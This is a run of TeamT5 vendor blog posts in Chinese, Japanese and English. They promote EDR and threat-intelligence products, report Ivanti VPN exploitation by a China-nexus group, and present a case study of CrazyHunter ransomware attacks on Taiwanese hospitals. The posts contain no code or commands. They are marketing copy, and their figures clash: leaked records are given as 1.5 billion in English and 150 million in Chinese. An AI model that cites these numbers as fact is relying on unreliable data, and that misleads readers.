TeamT5 推出的端點偵測與應變解決方案「[ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)」符合上述 EDR 必備優點，即「自動追蹤潛在威脅，提升威脅狩獵效率」、「視覺化呈現資安態勢，易於掌握潛在風險」、「自動產生摘要報告，提升管理效率」，是企業與組織最佳選擇。這項方案榮獲[台北國際電腦展 Computex 之 Best Choice Award - Golden Award](https://bcaward.computex.biz/WinnerYearDetail.aspx?index=9390&awtype=000000001&year=2024&sort=2) 肯定，以領先情資持續預測未來攻擊，為企業與組織應對層出不窮的資安攻擊事件。

歡迎[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，免費試用。



> 杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過 20 年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。

>歡迎[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解備受客戶肯定的資安產品與服務。

馭繁為簡：資安事件頻傳，有效監測、高效率管理端點安全的關鍵

サイバーセキュリティインシデントは世界的に頻発しており、世界経済フォーラム（World Economic Forum, WEF）が発表した[『2024年版グローバルリスク報告書（The Global Risks Report 2024）』](https://www.weforum.org/publications/global-risks-report-2024/)によると、2025～2026年において「サイバーセキュリティリスク(cyber insecurity）」は、テクノロジー分野で最も重大なリスク要因になると予測されています。さらに、サイバーセキュリティリスクはすべてのリスクカテゴリーの中で第4位に位置づけられています。

こうしたリスクは決して軽視できるものではなく、企業や組織は、的確な対策と管理体制の整備が求められています。

サイバー攻撃への防御において、エンドポイントは多層防御の中核を担います。エンドポイントとは、社員が使用するデスクトップPC、ノートPCなどを指し、Windows、macOS、LinuxといったOSを問わず、攻撃対象となる可能性があります。


企業のセキュリティリスクを低減するためには、MSSP（Managed Security Service Provider）による高性能なEDR（Endpoint Detection and Response）ツールの導入が不可欠です。 これにより、サイバーセキュリティチームは、絶え間なく進化する脅威への迅速な検知と対応を可能にし、日常業務の中断や事業リスクの拡大を防ぐことができます。
「少ない労力で大きな効果」を実現するために、EDRが以下の3つの重要な特長を備えていることが求められます：

**1. 潜在的な脅威を自動追跡し、調査プロセスを簡素化** 
EDRは、エンドポイントのリアルタイム監視と脅威検知を行い、マルウェアの実行や異常ログインなどの挙動を自動的に識別・タグ付けします。 従来のような複雑な手動分析は不要で、直感的なインターフェースにより、セキュリティチームが問題の核心にすばやくフォーカスできるため、脅威ハンティングの効率が大幅に向上します。

**2. セキュリティ状況を可視化し、リスクの把握を容易に** 
EDRによって提供される脅威イベントのタイムラインやビジュアルレポートを活用することで、複雑な攻撃経路や挙動をわかりやすく可視化できます。 従来の冗長なログ情報とは異なり、高リスクイベントと関連するエンドポイントをグラフィカルに表示することで、侵害範囲の迅速な特定と対応判断が可能になります。

**3. インシデント概要の自動レポート化で、管理効率を向上** 
EDRは、脅威の発生源や高リスク端末の一覧など、重要な情報を自動的にまとめたサマリーレポートを生成します。セキュリティチームは膨大なデータを手作業で整理する必要がなくなり、管理者は端末のセキュリティ状況を迅速かつ包括的に把握できます。


##ThreatSonar Anti-Ransomware ― 使いやすく、管理しやすく、迅速に対応可能

[ThreatSonar Anti-Ransomware](https://teamt5.org/jp/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website) は、直感的なインターフェース設計により、セキュリティチームが簡単に管理でき、サイバーセキュリティインシデントへの迅速な対応を可能にする、脅威分析および対応プラットフォームです。

##視覚化されたダッシュボードにより、エンドポイントのセキュリティ状況や潜在的なリスクをひと目で把握


![](https://uploads.teamt5.org/upload/original/en_1_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

ダッシュボードは以下の特長を備えており、ユーザーが現場のセキュリティ状況を直感的に把握できる設計となっています。

**1. 重要指標を視覚化して一目でセキュリティ状況を把握** 
エンドポイントの稼働状況やリスク指標など、重要なセキュリティデータをグラフやチャートで分かりやすく可視化するので、データ集計の手間を削減し、管理効率を向上させます。

**2. 柔軟なインターフェースで、ニーズに応じたカスタマイズが可能** 
ウィジェット（小型表示機能）を自由に追加・削除できる柔軟な設計により、
 管理者の運用スタイルやシナリオに応じた表示内容の最適化が可能です。

**3. ユーザー視点のインタラクティブなデザインで情報の可読性を向上** 
インターフェースは直感的に操作できるインタラクティブ設計を採用しており、マウスカーソルを合わせるだけで、各エリアの詳細情報をプレビュー表示でき、重要情報をすばやく把握できます。さらに、必要に応じて関連機能ページへのリンクから詳細情報へ直接アクセス可能です。

 

###脅威の追跡：潜在的な脅威を自動追跡し、調査プロセスを簡素化。脅威ハンティングの効率を向上

![](https://uploads.teamt5.org/upload/original/en_2_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

ユーザーは、定期的に利用する脅威ハンティングルールを登録することで、セキュリティチームは環境内の潜在的な脅威や日常的なハンティング対象を継続的に監視することが可能になります。また、自動化されたエンドポイント脅威ハンティングの実行状況を迅速に確認できるため、脅威リスクを正確に把握し、その後のインシデント調査や脅威分析にスムーズに対応できます。

ThreatSonar の主な脅威ハンティングルールのカテゴリ：

**1. ネットワーク衛生** 
リモートデスクトップソフトウェア（RDS）やポータブルソフトウェアなど、セキュリティ上のリスクとなる可能性のあるソフトウェアの存在を検出。


**2. 不審なファイル** 
システムファイルを装った疑わしいプログラム、不審な作成日時のファイル、削除された痕跡のある不審ファイルなどの存在をチェック。


**3. 不審なプロセス** 
プロセスインジェクション（他プロセスへのコード挿入）が疑われるプロセス、自動起動・通信機能を持つプロセスや、ランサムウェア特有の挙動を検出。


**4. 不審な動的リンクライブラリ（DLL）** 
特殊なパスを利用したハイジャックが可能なDLLや、隠しファイル属性を持つ不審なDLLの存在を確認。


**5. その他** 
SoftEther VPN を悪用して攻撃者が証明書を用い内部ネットワークへのアクセスを行っているか、などの確認。

また、ユーザーは脅威ハンティングルールのヒット件数に関する推移グラフを通じて、
 特定期間内に該当ルールに一致したエンドポイント、ファイル名、ハッシュ値の変化傾向を確認できます。この機能を活用することで、潜在的な脅威を自動的かつ継続的に追跡し、顕著な傾向変化を迅速に把握することができ、MSSP（マネージド・セキュリティ・サービス・プロバイダー）は運用コストと工数の削減を実現できます。

 

###サマリーレポート：監視結果を自動集約し、管理工数と時間を削減

![](https://uploads.teamt5.org/upload/original/en_3_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

この機能により、ユーザーは必要に応じて現場のセキュリティ状況を総覧でき、
 注視すべき高リスク端点を一覧化し、さらに自動でサマリーレポートを生成できます。
 レポートの作成スケジュール設定やグループへの自動送信も可能です。

>MSSP向けには「顧客」オプションを提供し、レポートがどの顧客に紐づくかを素早く判別できるよう支援します。単一画面上で複数顧客の状況を切り替えなしに一括把握できるため、運用効率が大幅に向上します。

サマリーレポートは複数の統計データを自動で集約し、グラフなどで視覚的に表示。
 これによりセキュリティチームが大量のデータを手作業で整理する負担を軽減します。
 また、ユーザーはレポート項目や作成スケジュールをカスタマイズ可能で、MSSPが複数顧客のエンドポイント監視を効率的に管理し、潜在的脅威の把握と迅速な対応に役立てられます。
 
例： 
**1. 脅威レベル統計 CA／脅威レベル統計 Anti-Ransomware：**
毎日のレベル1〜レベル5のインシデントが発生したエンドポイント数を統計化。
ユーザーはグラフを通じて、各リスクレベルに該当するエンドポイントの総数を把握できます。

![](https://uploads.teamt5.org/upload/original/en_4_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

 

**2. エンドポイント脅威リスト CA：**最高レベル（レベル5およびレベル4）のエンドポイント一覧を表示し、エンドポイントのホスト名、IPアドレス、OSバージョンなどの情報を詳しく記載します。また、検知された「脅威」、「ネットワーク」、および「イベントログ」を一覧で確認できます。

「脅威」情報には、レベル4以上の脅威イベントの属性やファイルパスが表示され、「ネットワーク」情報には、IPアドレスやドメイン名が表示されます。また、「イベントログ」情報には、属性、WindowsイベントログID、関連情報が表示されます。

![](https://uploads.teamt5.org/upload/original/en_5_simplify-complex-cybersecurity-smarter-endpoint-monitoring-and-management.png)

##まとめ

サイバー脅威が企業や組織にとって重大な課題となっている現在、非常に効果的な保護戦略を採用することが不可欠です。これらのリスクを最小限に抑えるためには、使いやすく、分かりやすい方法で効率的な防御を可能にし、サイバーセキュリティインシデントへの迅速な対応を支援する優れたEDR（エンドポイント検出および対応）を導入することが重要です。

TeamT5のエンドポイント検出および対応ソリューション「[ThreatSonar Anti-Ransomware](https://teamt5.org/jp/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)」は、効果的なEDRに必要なすべての機能を備えています。これには、「潜在的な脅威を自動的に追跡」「直感的で可視化されたサイバーセキュリティ状況の表示」「管理効率を高めるための自動生成レポート」が含まれます。本ソリューションは[COMPUTEX ベストチョイスアワード](https://bcaward.computex.biz/WinnerYearDetail.aspx?index=9390&awtype=000000001&year=2024&sort=2) – ゴールデンアワードを受賞しており、企業や組織にとって最良の選択肢です。このインテリジェンス主導のソリューションは、頻発するサイバー攻撃への対応を引き続き支援しています。

無料トライアルをご希望の方は、お気軽にお問い合わせください。[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

> TeamT5は、アジア太平洋地域のサイバー攻撃者を最も深く理解している地理的・文化的な優位性を活かした、トップクラスのサイバー脅威アナリストで構成されています。また、主要なサイバーセキュリティカンファレンスで頻繁にインサイトを共有しており、その脅威インテリジェンスの研究とソリューションは、Frost & Sullivanより「2023～2024年 台湾脅威インテリジェンス分野 最優秀企業賞」を受賞しています。

> インテリジェンス主導のサイバーセキュリティソリューションについて詳しく知りたい方は、以下よりお問い合わせください。
[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

複雑さを制したシンプルなサイバーセキュリティ：効果的なエンドポイント管理の鍵

ThreatSonar Anti-Ransomware インフォメーション

ThreatSonar Anti-Ransomware Resources

In today’s rapidly evolving cyber landscape, defenders must move faster than attackers. Whether it’s identifying threats, tracking APTs, or mitigating vulnerabilities, security teams need relevant, contextualized intelligence specific to where they stand. This is especially true in the Asia-Pacific region, one of the most dynamic and complex cyber threat environments in the world. With a strong APAC focus, TeamT5’s ThreatVision intelligence platform is recognized by the [Best Choice Award at COMPUTEX TAIPEI in 2025](https://teamt5.org/en/posts/apac-threat-intelligence-leading-brand-teamt5-s-threatvision-solution-awarded-computex-best-choice-award-golden-award?utm_source=blog&utm_medium=website), empowering defenders to stay ahead of targeted and sophisticated adversaries operating within the region.

##Why APAC Intelligence Matters
The APAC region is home to a wide range of state-sponsored and cybercriminal actors that often deploy tactics and malware tailored specifically for local targets. Many of these threats are not captured by global feeds, leaving a critical blind spot for organizations in or interacting with the region. ThreatVision closes this gap by providing intelligence shaped by TeamT5’s 20+ years of deep focus on APAC cyber activities. Our research tracks APT groups, malware, and underground ecosystem trends—offering users timely, contextual insights that enable smarter, region-aware decision-making.

##Intelligence That Supports Every Layer and Role

ThreatVision delivers role-specific intelligence that supports security teams from strategy to incident response. Here’s how different users apply it:

**Decision-makers:**
- Use APT Threat Landscape in Asia to stay informed on the overall threat landscape in APAC.
- When reviewing current security measures or analyzing activities of adversaries, Campaign Tracking Report and Cyber Affairs Biweekly Report are key references.


**Risk Managers:**
- Vulnerability Insights Reports (VIR) combines technical analysis with suggestions to help organizations focusing on exploited vulnerabilities and setting up effective remediations.
- Patch Management Reports (PMR) help organizations to be notified timely of potentially exploitable vulnerabilities and prioritize patching to quickly mitigate emerging risks.

**Incident Responders:**
- Apply Indicators of Compromise Feeds and the Malware Database to quickly identify related threats.
- Use threat hunting tools and sample analysis features to facilitate threat response and triage time.

![](https://uploads.teamt5.org/upload/original/TV-en-from-apt-tracking-to-deep-and-dark-web-monitoring-threat-vision-leads-in-apac-threat-intelligence.jpg)

##Deep & Dark Web Monitoring: Reveal Threat Hidden in the Shadows
One of the most distinctive features of ThreatVision is its Deep & Dark Web (DDW) Monitoring service. Designed to uncover early warning signals and data leaks, which covers:
- 1.5+ billion of leaked sensitive data
- 30+ million compromised devices
- 40+ deep and dark web forums and markets, including Chinese-speaking underground communities
- 400+ monitored Telegram channels, where threat actors coordinate or distribute stolen data
- Social media and forum activity relevant to cybercrime operations and breach chatter, especially in Chinese

What sets this apart is not just the scope of monitoring, but how it’s delivered—in one centralized, intuitive interface for easy browsing and searching. With weekly automated alerts and tailored analysis reports, organizations gain timely visibility into threats as they emerge, not after they escalate.

![](https://uploads.teamt5.org/upload/original/DDW-en-update-from-apt-tracking-to-deep-and-dark-web-monitoring-threat-vision-leads-in-apac-threat-intelligence.png)


###Threats Don’t Wait, Neither Should Your Defense
ThreatVision provides a critical edge for organizations defending against advanced, targeted threats in APAC. By combining technical depth, regional intelligence, and underground visibility, it enables security teams to detect threats early, prioritize what matters, and respond effectively. ThreatVision transforms threat intelligence into a practical asset, helping organizations not just see through the chaos, but gain an upper hand in today’s high-stakes cyber landscape.



From APT Tracking to Deep & Dark Web Monitoring: ThreatVision Leads in APAC Threat Intelligence

在瞬息萬變的網路威脅環境中，資安防守者必須比攻擊者更快一步。無論是識別威脅、追蹤進階持續性攻擊（APT）或是修補漏洞，資安團隊都需要掌握所在地區直接相關的威脅脈絡與情資，這對亞太地區企業與組織尤其重要，因為這裡是全球網路威脅事件數量最多、型態最複雜的地區之一。杜浦數位安全公司（下稱「TeamT5」）聚焦亞太的 ThreatVision 威脅情資平台，榮獲 [2025 年台北國際電腦展（COMPUTEX TAIPEI）Best Choice Award 金獎](https://teamt5.org/tw/posts/apac-threat-intelligence-leading-brand-teamt5-s-threatvision-solution-awarded-computex-best-choice-award-golden-award?utm_source=blog&utm_medium=website)的肯定，能協助資安團隊有效因應攻擊族群的複雜威脅，搶得防禦先機。

##為何亞太威脅情資如此重要？
在亞太地區，眾多由國家支持的活躍攻擊族群與網路犯罪集團，其使用的攻擊手法與惡意程式往往根據地區環境量身打造，且未被全球情資來源完整掌握，因此使得身處或與本地區往來的各種組織面臨高風險的情資盲點。ThreatVision 奠基於 TeamT5 深耕亞太逾 20 年累積的研究成果，內容涵蓋 APT 族群、惡意程式，以及地下網路活動的發展趨勢。透過及時且具脈絡的在地情資，使用者能更快辨識威脅，並做出更精準的資安決策。

##支援所有層級與角色的威脅情資
ThreatVision 提供的情資內容可依各種角色需求在不同情境下運用，協助組織實行戰略規劃到事件應變的全方位防護。

**資安決策者：**
- 透過威脅綜覽季報（APT Threat Landscape in Asia）全面掌握亞太威脅態勢
- 評估現行防護措施或分析威脅族群活動時，威脅族群活動分析（Campaign Tracking Report）和亞太區域網路政策分析（Cyber Affairs Biweekly Report）是關鍵資料來源

**風險管理者：**
- 透過漏洞情資暨應對緩解雙週報（VIR）聚焦已遭利用的漏洞，結合技術分析與緩解建議，幫助組織確立有效的處置方案
- 漏洞修補管理週報（PMR）即時掌握可能被利用的漏洞資訊，協助組織排序修補優先順序，迅速緩解現有風險

**事件應變團隊：**
- 透過即時更新的入侵指標（IoC）與惡意程式資料庫，快速辨識關聯威脅
- 運用威脅偵測工具與樣本分析功能，提升因應威脅的效率，加快應變與處置流程

![](https://uploads.teamt5.org/upload/original/TV-tw-from-apt-tracking-to-deep-and-dark-web-monitoring-threat-vision-leads-in-apac-threat-intelligence.jpg)

##深暗網威脅情資監控：揭露暗處隱藏的威脅
ThreatVision 提供針對中文地下網路的深暗網（Deep & Dark Web, DDW）監控服務，專為組織偵測早期警訊與資料外洩風險而設計，監控範圍包括：
- 1.5 億筆外洩機密資料
- 3,000+ 萬台遭駭裝置
- 超過 40 個深暗網論壇與交易市場，包括中文地下社群
- 監控超過 400 個 Telegram 頻道，掌握駭客活動或資料兜售行為
- 社群媒體與論壇的犯罪相關活動與外洩資料，特別是以中文交流的內容

這項服務的獨特之處，不只是涵蓋中文網路的監控範圍，更以單一介面呈現情資，便於瀏覽和查找；搭配每週自動告警和客製化監控分析報告，讓組織能在威脅醞釀時就掌握狀況，無須等到威脅成為實際風險時，才著手應變。

![](https://uploads.teamt5.org/upload/original/DDW-tw-newupdate-from-apt-tracking-to-deep-and-dark-web-monitoring-threat-vision-leads-in-apac-threat-intelligence.png)


##威脅不等人，防禦先機不可失
ThreatVision 為亞太地區的企業與組織提供關鍵優勢，能有效應對高度針對性的威脅；基於深度技術分析、在地威脅情資與對地下網路動態的深入掌握，協助資安團隊及早偵測威脅、因應重大風險並迅速應變。ThreatVision 將威脅情資轉化為可實際運用的防禦利器，讓組織在當前風險高漲的網路環境中，洞察混亂背後的先機，搶佔防禦主導地位。



從 APT 追蹤到深暗網監控：亞太威脅情資首選 ThreatVision

ThreatVision Resources

In late March, TeamT5 detected that the China-nexus APT group exploited the critical vulnerability in Ivanti Connect Secure VPN appliances to infiltrate multiple entities around the globe. The victims include nearly twenty different industries across twelve countries. We believe that the actor still maintained control over the victim's network at the time of analysis.

## Victimology
**The victim countries** include Austria, Australia, France, Spain, Japan, South Korea, Netherlands, Singapore, Taiwan, the United Arab Emirates, the United Kingdom, and the United States. **The targeted industries** include Automotive, Chemical, Conglomerate, Construction, Information Security, Education, Electronics, Financial Institution, Gambling, Government, Intergovernmental Organizations (IGO), Information Technology, Law Firm, Manufacturing, Materials, Media, Non-Governmental Organizations (NGOs), Research Institute, Telecommunication.

## Threat Details
Our analysis assessed with high confidence that the actor was exploiting the vulnerabilities of Ivanti Connect Secure VPN appliances to launch attacks around the globe. The actor possibly exploited CVE-2025-0282[1] or CVE-2025-22457[2] to conduct initial access.

Both CVE-2025-0282 and CVE-2025-22457 are stack buffer overflow vulnerabilities in Ivanti Connect Secure VPN with a CVSS score of `9.0`. Successful exploitation allows the threat actor to achieve remote code execution, leading to intrusion of the internal network and malware implantation.

In the attack, the actor deployed a shared weapon among Chinese threat groups, SPAWNCHIMERA. SPAWNCHIMERA is developed specifically for Ivanti Connect Secure VPN and has all the functionalities of the notorious SPAWN family, including SPAWNANT (installer), SPAWNMOLE (socks5 tunnler), SPAWNSNAIL (SSH backdoor), and SPAWNSLOTH (log wiper).

Moreover, our analysis suggests that other threat actors might also obtain the vulnerability information and start campaigns targeting Ivanti VPN appliances. We have observed massive exploitation attempts against Ivanti VPN appliances since April. Although most exploitation attempts failed, many Ivanti VPN appliances became paralyzed and unstable. 

TeamT5 strongly recommends that affected organizations conduct a thorough incident investigation. Given the versatile TTPs of the actor, such as multi-layers of C2 infrastructure, evasion of monitor mechanism, and the usage of log wiper, without additional technical support, it would be a challenge to detect the actor’s malicious traces inside the network. 

Contact us for assistance - [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website).

 
 

[1]
[CVE-2025-0282](https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283?language=en_US)

[2] 
[CVE-2025-22457](https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457?language=en_US)

China-nexus APT exploits Ivanti Connect Secure VPN vulnerability to infiltrate multiple entities

3 月底，TeamT5 的遙測察知中國相關 APT 族群利用 Ivanti Connect Secure VPN 高風險漏洞發動攻擊，受害單位橫跨全世界 12 個國家，近 20 個不同產業。截至分析時，我們確信攻擊者仍持續控制受害者的網路。

## 受害單位
**受害國家**奧地利、澳洲、法國、西班牙、日本、南韓、荷蘭、新加坡、台灣、英國、美國、阿拉伯聯合大公國。而**受害產業**則包括汽車、化學、電信、營造、資安、教育、電子、金融、博弈、政府、法律、製造、媒體、企業集團、跨政府組織、非政府組織、資訊科技、研究機構。

## 威脅細節
我們的分析持高度信心攻擊者是利用 Ivanti Connect Secure VPN 相關的高風險漏洞展開攻擊。根據我們目前掌握的資訊，攻擊者可能是利用 CVE-2025-0282[1] 或 CVE-2025-22457[2] 取得初步存取權限。

CVE-2025-0282 和 CVE-2025-22457 都是 Ivanti Connect Secure VPN 的堆疊緩衝區溢位（stack buffer overflow）漏洞，CVSS 分數為 `9.0`。漏洞成功利用後，威脅行動者便得以實現遠端程式碼執行，進而入侵內部網路和部署惡意程式。

在這起攻擊中，攻擊者部署的是中國威脅族群的共用惡意程式 SPAWNCHIMERA。SPAWNCHIMERA 是專為 Ivanti Connect Secure VPN 所開發，具備 SPAWN 家族惡意程式的所有功能，包括 SPAWNANT （安裝程式）、SPAWNMOLE（socks5 網路隧道程式）、SPAWNSNAIL（SSH 後門程式）和 SPAWNSLOTH（記錄抹除程式）。

此外，我們的分析研判，其他威脅行動者可能也有取得漏洞相關資訊，並著手展開針對 Ivanti VPN 設備的攻擊行動。自 4 月以來，我們發現針對 Ivanti VPN 設備的大規模漏洞攻擊嘗試。雖然絕大多數的漏洞攻擊嘗試都以失敗告終，但卻也造成這些 Ivanti VPN 設備被癱瘓且變得不穩定。

TeamT5 建議受影響單位應即刻展開完整的事件調查。基於攻擊者手法的多變性，如多層次 C2 基礎架構、監控機制迴避與使用記錄抹除程式，若缺乏額外的技術協助，恐不易深入調查內部網路的攻擊者足跡。若需任何進一步的技術協助，可[直接聯繫 TeamT5](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)。

 
 

[1]
[CVE-2025-0282](https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283?language=en_US)

[2] 
[CVE-2025-22457](https://forums.ivanti.com/s/article/April-Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-22457?language=en_US)

中國相關威脅行動者利用 Ivanti Connect Secure VPN 漏洞滲透多國單位

Threat Intelligence

【案例分析】針對近期醫療院所面對 CrazyHunter 勒索軟體攻擊事件技術過程探討說明

[Case Study] CrazyHunter Ransomware Attacks Targeted Taiwan Hospitals

>近期醫療院所遭遇勒索軟體攻擊的事件頻傳，衛福部發出[公告](https://www.mohw.gov.tw/cp-16-81726-1.html)，將此事件定義為「系統性攻擊」，不排除其他醫院可能成為下一個目標。
>本篇文章說明應變勒索軟體的重要原則，協助企業與組織有效應變。

 
繼 2 月初馬偕醫院遭勒索軟體組織 CrazyHunter 攻擊後，3 月初彰化基督教醫院也遭勒索攻擊。經衛福部召集相關廠商調查確認後，證實亦為 CrazyHunter 勒索軟體組織。TeamT5 對於此一連續攻擊事件，均及時掌握威脅情況，並彙整惡意程式 IoC 情資，由 TeamT5 MDR 團隊主動協助雲端客戶，完成清查所屬場域端點狀況，目前均無遭勒索惡意程式攻擊的跡象。

面對勒索軟體攻擊，企業第一時間應隔離受駭設備，防止病毒擴散；接下來評估影響範圍，確認是否有可用備份，並向資安專家團隊或執法單位尋求協助。同時呼籲切勿輕易支付贖金，因為此舉不僅無法保證資料解鎖、系統恢復，還可能助長攻擊者的勒索行為。

最重要的是，企業應強化資安防禦，例如採用端點偵測及回應軟體（EDR），全時監控企業組織內的端點；若偵測到異常行為，EDR 可即時阻擋勒索軟體惡意攻擊。

臺灣在地廠商 TeamT5 自主研發的 [ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)，專為協助阻擋勒索軟體而設計，藉由引擎自我學習機制，自動判斷常用程式或新進惡意程式，有效掃描被加密檔案。該平台更獲得[國際大展 COMPUTEX - Best Choice Award 金獎肯定](https://bcaward.computex.biz/WinnerYearDetail.aspx?index=9390&awtype=000000001&year=2024&sort=2)，能為企業與組織提供及時偵測、立即攔截威脅攻擊、掌握攻擊路徑，以利快速應對資安事件，並採取防護措施。

完成 ThreatSonar Anti-Ransomware 簡易部署後，企業即可有效防禦勒索軟體，避免近期頻傳的同類資安事件發生。下方說明 ThreatSonar Anti-Ransomware 如何成功防堵勒索攻擊。

 

![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_1.JPG)

<center>ThreatSonar Anti-Ransomware 預設勒索軟體偵測機制，可自動發出即時告警、移除程式等。</center>

![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_2.png)

<center>當偵測到勒索軟體開始執行， ThreatSonar Anti-Ransomware 立即阻斷，終止程式執行。</center>

![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_3.JPG)

<center>ThreatSonar Anti-Ransomware 掌握到勒索攻擊後，於「事件」報告頁面顯示攻擊路徑。</center>

![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_4.JPG)

<center>ThreatSonar Anti-Ransomware 即時阻擋，成功防堵勒索軟體攻擊。</center>

 

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/G2BD3PE2mO4?si=qKWiasWIty352h2K" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</center>

<center>ThreatSonar Anti-Ransomware 即時偵測阻擋 CrazyHunter 勒索軟體攻擊【示範影片】</center>

 

面對未知且嚴重的勒索軟體攻擊事件，TeamT5 建議仍須提前因應，以下為預防、偵測與應變處理的各項對應措施：
- 檢視外部系統及 VPN 設備之權限控管狀態是否嚴謹。
- 針對網路存取規則及帳號權限原則，確認是否符合最小權限設計。
- 確認資料備份還原機制是否完善，且無法遭攻擊者控制清除。
- 落實系統、設備弱點管理與修補作業，並強化端點防護機制。
- 關注網路威脅情資，及早因應並強化可能遭受攻擊的弱點。
- 建立事件應變處理計畫。

 


>TeamT5 已協助多家國內外企業處理勒索事件攻擊，由獲獎團隊偕同企業一同應變，防禦多元的惡意程式入侵、抵擋持續演進的攻擊手法。 
>今天就[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，洽詢試用。

>- [防禦交給專家 威脅精準應對：TeamT5 威脅偵測應變代管服務獲資安精品獎殊榮](https://teamt5.org/tw/posts/teamt5-cybersecurity-managed-service-wins-2024-cyber-security-innovation-award-for-helping-enterprises-respond-to-cyber-threats/?utm_source=blog&utm_medium=website) 
>- [TeamT5 威脅偵測應變代管服務（MDR）介紹](https://teamt5.org/tw/service/mdr/?utm_source=blog&utm_medium=website)

TeamT5 及時掌握 CrazyHunter 勒索軟體攻擊事件【示範影片】

>Recently, medical institutions in Taiwan have been frequently attacked by ransomware. The Ministry of Health and Welfare (MOHW) has issued a [notice](https://www.mohw.gov.tw/cp-16-81726-1.html) defining this incident as a "systemic attack" and does not rule out the possibility that other hospitals may become the next target.

>This article explains the important principles of responding to ransomware to help companies and organizations respond effectively.

 

After Mackay Memorial Hospital was attacked by the ransomware organization CrazyHunter in early February, Changhua Christian Hospital was also attacked by ransomware in early March. After MOHW convened relevant vendors for investigation and confirmation, it was confirmed that the March attack was also done by CrazyHunter. TeamT5 has promptly grasped the threat situation and compiled IoC intelligence of the malware for the serial attacks. The TeamT5 Managed Detection and Response (MDR) team proactively assisted cloud customers to complete a thorough scanning covering all endpoints in their environments. Currently, there are no signs of ransomware attacks.

When faced with a ransomware attack, companies should first isolate the compromised devices to prevent the malware from spreading; then assess the scope of impact, confirm whether there are available backups, and seek assistance from cybersecurity expert teams or law enforcement agencies. At the same time, we would like to urge everyone not to pay the ransom in the first place, because doing so will not only be unable to guarantee data decryption and system recovery, but may also encourage attackers' extortion behavior.

Most importantly, companies should strengthen their cybersecurity defenses, such as using endpoint detection and response (EDR) software to monitor endpoints within the organization at all times. If abnormal behavior is detected, EDR can immediately block malicious ransomware attacks.

The [ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website) are independently developed by Taiwan local cybersecurity company TeamT5, which are designed specifically to help block ransomware. Through the engine's self-learning mechanism, it automatically determines commonly used programs or new malware and effectively scans encrypted files. The platform has also won the [Gold Award of Computex Best Choice Award](https://bcaward.computex.biz/WinnerYearDetail.aspx?index=9390&awtype=000000001&year=2024&sort=2) at the international exhibition COMPUTEX TAIPEI. It provides companies and organizations with timely detection, immediate interception of threat attacks, as well as visibility into attack paths, facilitating quick response to incidents and taking protective measures.

After completing the simple deployment of ThreatSonar Anti-Ransomware, companies can effectively defend against ransomware and avoid similar incidents that have occurred recently. The video below shows how ThreatSonar successfully blocks a ransomware attack.


![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_1.JPG)
<center>ThreatSonar Anti-Ransomware has a default ransomware detection mechanism 
that can automatically issue real-time alerts, remove programs, etc.</center>

![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_2.JPG)
<center>When the ransomware is detected to start running, 
ThreatSonar Anti-Ransomware immediately blocks it and terminates the program execution.</center>

![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_3.JPG)
<center>Once ThreatSonar Anti-Ransomware detects a ransomware attack, 
it displays the attack path on the "Incidents" page.</center>

![](https://uploads.teamt5.org/upload/original/how-hospitals-deal-with-ransomware-attacks_en_4.JPG)
<center>ThreatSonar Anti-Ransomware blocks ransomware attacks in real time.</center>

 
<center>How Does ThreatSonar Anti-Ransomware Block CrazyHunter Ransomware Attacks? [Demo Video]</center>

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/El8a6CubpkI?si=mqSEAYV5hMfvlJ34" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</center>

 

In the face of unknown and serious ransomware attacks, TeamT5 urges companies and organizations to prepare in advance. 

The following are the measures for prevention, detection and response:
- Check whether the permission control status of external systems and VPN devices is solid.
